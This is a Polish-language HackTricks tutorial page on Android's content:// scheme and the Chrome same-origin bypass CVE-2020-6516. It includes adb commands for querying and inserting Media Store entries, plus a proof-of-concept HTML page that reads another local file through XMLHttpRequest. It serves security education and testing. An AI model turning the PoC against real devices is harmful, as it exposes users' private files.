content:// protocol

Wsparcie HackTricks

To jest podsumowanie posta https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Wyświetlanie plików w Media Store

Aby wyświetlić pliki zarządzane przez Media Store, można użyć poniższego polecenia:

$ content query --uri content://media/external/file

Aby uzyskać bardziej przyjazny dla użytkownika wynik, wyświetlając tylko identyfikator i ścieżkę każdego zindeksowanego pliku:

$ content query --uri content://media/external/file --projection _id,_data

Content providers są izolowane w swoim własnym prywatnym przestrzeni nazw. Dostęp do dostawcy wymaga konkretnego URI content://. Informacje o ścieżkach dostępu do dostawcy można uzyskać z manifestów aplikacji lub kodu źródłowego frameworka Androida.

Dostęp Chrome do dostawców treści

Chrome na Androidzie może uzyskać dostęp do dostawców treści za pośrednictwem schematu content://, co pozwala mu na dostęp do zasobów, takich jak zdjęcia czy dokumenty eksportowane przez aplikacje innych firm. Aby to zilustrować, plik można wstawić do Media Store, a następnie uzyskać do niego dostęp za pośrednictwem Chrome:

Wstaw niestandardowy wpis do Media Store:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Odkryj identyfikator nowo wstawionego pliku:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Plik można następnie wyświetlić w Chrome, używając adresu URL skonstruowanego z identyfikatora pliku.

Na przykład, aby wylistować pliki związane z konkretną aplikacją:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Ominięcie Polityki Takiej Samej Pochodzenia

Polityka Takiej Samej Pochodzenia (SOP) to protokół bezpieczeństwa w przeglądarkach, który ogranicza interakcje stron internetowych z zasobami z różnych źródeł, chyba że wyraźnie dozwolone przez politykę Cross-Origin-Resource-Sharing (CORS). Polityka ta ma na celu zapobieganie wyciekom informacji i fałszywym żądaniom między witrynami. Chrome traktuje content:// jako lokalny schemat, co implikuje surowsze zasady SOP, gdzie każdy lokalny URL schematu jest traktowany jako osobne pochodzenie.

Jednak CVE-2020-6516 była luką w Chrome, która pozwalała na ominięcie zasad SOP dla zasobów ładowanych za pomocą URL content://. W efekcie, kod JavaScript z URL content:// mógł uzyskać dostęp do innych zasobów ładowanych za pomocą URL content://, co stanowiło istotny problem bezpieczeństwa, szczególnie na urządzeniach z Androidem działających w wersjach wcześniejszych niż Android 10, gdzie nie wprowadzono ograniczonego przechowywania.

Poniższy dowód koncepcji demonstruje tę lukę, gdzie dokument HTML, po przesłaniu pod /sdcard i dodaniu do Media Store, używa XMLHttpRequest w swoim JavaScript, aby uzyskać dostęp do i wyświetlić zawartość innego pliku w Media Store, omijając zasady SOP.

Proof-of-Concept HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Wsparcie HackTricks

Last updated